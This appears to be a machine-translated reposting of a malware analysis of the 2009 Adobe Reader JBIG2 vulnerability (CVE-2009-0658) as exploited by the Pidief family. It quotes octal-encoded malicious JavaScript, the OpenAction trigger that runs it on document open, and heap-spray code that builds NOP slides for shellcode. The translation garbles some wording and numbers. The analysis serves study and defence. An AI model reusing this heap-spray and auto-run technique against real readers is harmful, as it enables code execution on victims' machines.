CVE-2 0 0 9-0 6 5 8 vulnerability analysis-vulnerability warning-the black bar safety net

2010-12-03T00:00:00
ID MYHACK58:62201028480
Type myhack58
Reporter 佚名
Modified 2010-12-03T00:00:00

Description

Author: Peter Kleissner(http://web17.webbpro.de/index.php?page=analysing-the-pdf-exploit) translation: Cryin' (http://hi.baidu.com/justear)

I want to share with you 2 0 0 9 year 3 month of an Adobe pdf vulnerability analysis results, the vulnerability is due to JBIG2 compression of the BUG lead to the implementation of any Win32 code. The vulnerability is currently(2 0 0 9 year 3 month 3 day)has only the inner portion is patched, but Adobe is expected in the 3 months 1 1 day before they release the updated version. Since 2 0 0 7 since all of the Adobe Reader(Adobe Reader 7.0 and higher versions are affected), malicious PDF files to exploit this vulnerability, the success rate is very low, so the spread is not very extensive.

  1. the PDF file overview

First let us probably know the General PDF malicious files

•JavaScript code so that the Exploit becomes possible

•Shellcode integrated in the JavaScript code(loading the Stream)

•Exploit Code contained in PDF files Stream and encrypted executable file(malware)

•Fake PDF file, to achieve the hidden purpose

PDF vulnerability file developed has three main parts: the JavaScript code, The Shellcode, the Exploit Code. This third part in the exploit development process are equally important.

Pidief is a high profile, spread very wide range of virus families(article analysis), and in its history it using a variety of Adobe Pdf exploit to execute malicious programs(malware). The following analysis is the Pidief family of live examples. Enjoy!

  1. the JavaScript code

Pidief contains the first paragraph of the JavaScript code as a script stored in the PDF file of the object, The code is octal encoded as shown below: 2 0 obj

<</S /JavaScript

/JS(\0 4 0\0 1 2\0 1 2\0 4 0\0 4 0\0 4 0\0 4 0\0 4 0\0 4 0\0 4 0\0 4 0\1 4 6\1 6 5\1 5 6\1 4 3\1 6 4\1 5 1\1 5 7\1 5 6\0 4 0\1 6 0

\1 6 2\1 5 1\1 5 6\1 6 4\1 1 1\1 5 6\1 4 6\1 5 7\0 5 0\0 5 1\1 7 3\0 1 2\0 4 0\0 4 0\0 4 0\0 4 0\0 4 0\0 4 0\0 4 0\0 4 0\0 4 0\0 4 0

\0 4 0\0 4 0\1 4 3\1 5 7\1 5 6\1 6 3\1 5 7\1 5 4\1 4 5\0 5 6\1 6 0\1 6 2\1 5 1\1 5 6\1 6 4\1 5 4\1 5 6\0 5 0\0 4 2\1 2 6\1 5 1\1 4 5

\1 6 7\1 4 5\1 6 2\0 4 0\1 5 4\1 4 1\1 5 6\1 4 7\1 6 5\1 4 1\1 4 7\1 4 5\0 7 2\0 4 0\0 4 2\0 4 0\0 5 3\0 4 0\1 4 1\1 6 0\1 6 0\0 5 6

\1 5 4\1 4 1\1 5 6\1 4 7\1 6 5\1 4 1\1 4 7\1 4 5\0 5 1\0 7 3\0 1 2\0 4 0\0 4 0\0 4 0\0 4 0\0 4 0\0 4 0\0 4 0\0 4 0\0 4 0\0 4 0\0 4 0

\0 4 0\1 4 3\1 5 7\1 5 6\1 6 3\1 5 7\1 5 4\1 4 5\0 5 6\1 6 0\1 6 2\1 5 1\1 5 6\1 6 4\1 5 4\1 5 6\0 5 0\0 4 2\1 2 6\1 5 1\1 4 5\1 6 7

\1 4 5\1 6 2\0 4 0\1 6 6\1

...

>>

endobj Copy the code The JS script is quite large, the decoded length is 4 2 7 9 2 bytes(of which the main part is the Shellcode is). In the demo after the decoding of Java code, I want to briefly explain the PDF file of JavaScript code is how to perform. Adobe use their own internal engine, you may think of is the IE browser, but Adobe does not use the IE browser engine. JavaScript is composed of different actions(triggers)is executed. According to a report from Adobe, the German document said, a total of 7 actions to execute JavaScript, here is the first action, Open Document. So this also brings a very important limit, the PDF the execution of JavaScript is dependent on the action. The following is the action Open Document when registered to the execution of the JavaScript code: 3 0 obj

<</Type /Catalog

/Outlines 4 0 R

/Pages 5 0 R

/OpenAction 2 0 R

>>

endobj Copy the code OpenAction defines the execution of the object obj 2 0, which is included above after the Oct coding of the JavaScript code of the object. function printInfo(){

console. println("Viewer language:" + app. language);

console. println("Viewer version:" + app. viewerVersion);

console. println("Viewer Type:" + app. viewerType);

console. println("Viewer Variatio:" + app. viewerVariation);

console. println("Dumping all data objects in the document.");

if ( this. external )

{

console. println("viewing from a browser.");

}

else

{

console. println("viewing in the Acrobat application.");

}

... Copy the code The script only contains two functions: printInfo()and sprayWindows (a). The first one only output on the PDF browser information(debugging use), the second function is used to prepare memory and Shellcode is filled into the memory. As mentioned above, the script length is 4 2 7 9 2 bytes, but only 1 5 0 line, which makes it very easy to be read. It is interesting JavaScript even contains some comments message: // Create a 1MB string of NOP instructions followed by shellcode:

//

// malloc header string length NOP slide shellcode NULL terminator

// 3 2 bytes 4 bytes x bytes y bytes 2 bytes

while (pointers. length <= 0x100000/2)

pointers += pointers;

//Pointers

pointers = pointers. substring(0, 0x100000/2 - 32/2 - 4/2 - pointers1. length - 2/2 );

while (nop. length <= 0x100000/2)

nop += nop;

//Trampolin

nop = nop. substring(0, 0x100000/2 - 32/2 - 4/2 - jmp. length - 2/2);

// while (nop1. length <= 0x100000/2)

// nop1 += nop1;

//shelcode <1M

// nop1 = nop1. substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode. length - 2/2 ); Copy the code 3)the Trojan how to work As usual, the PDF vulnerability file are generally using software(Adobe Reader)BUGS(exploiting)and the development of. One of the common techniques such as“buffer overflow”and try to overflow the stack buffer and overwrite the function return jump address to the specified data. Here the use of exactly this technology, and the use of JBIG2 compression of the vulnerability to achieve. The JavaScript code opens up 200MB of memory and use the NOP instruction(no operation assembler instruction)and a Shellcode padding. Then JBIG2 compression vulnerability will cause the program to jump to 200MB of memory to a location to perform. This is why there are so many NOP instruction, because of the entry point position can not be determined, so the NOP instructions will be executed, and finally execution to the Shellcode in. The following code is used to open up a 200MB memory:

[1] [2] [3] [4] [5] next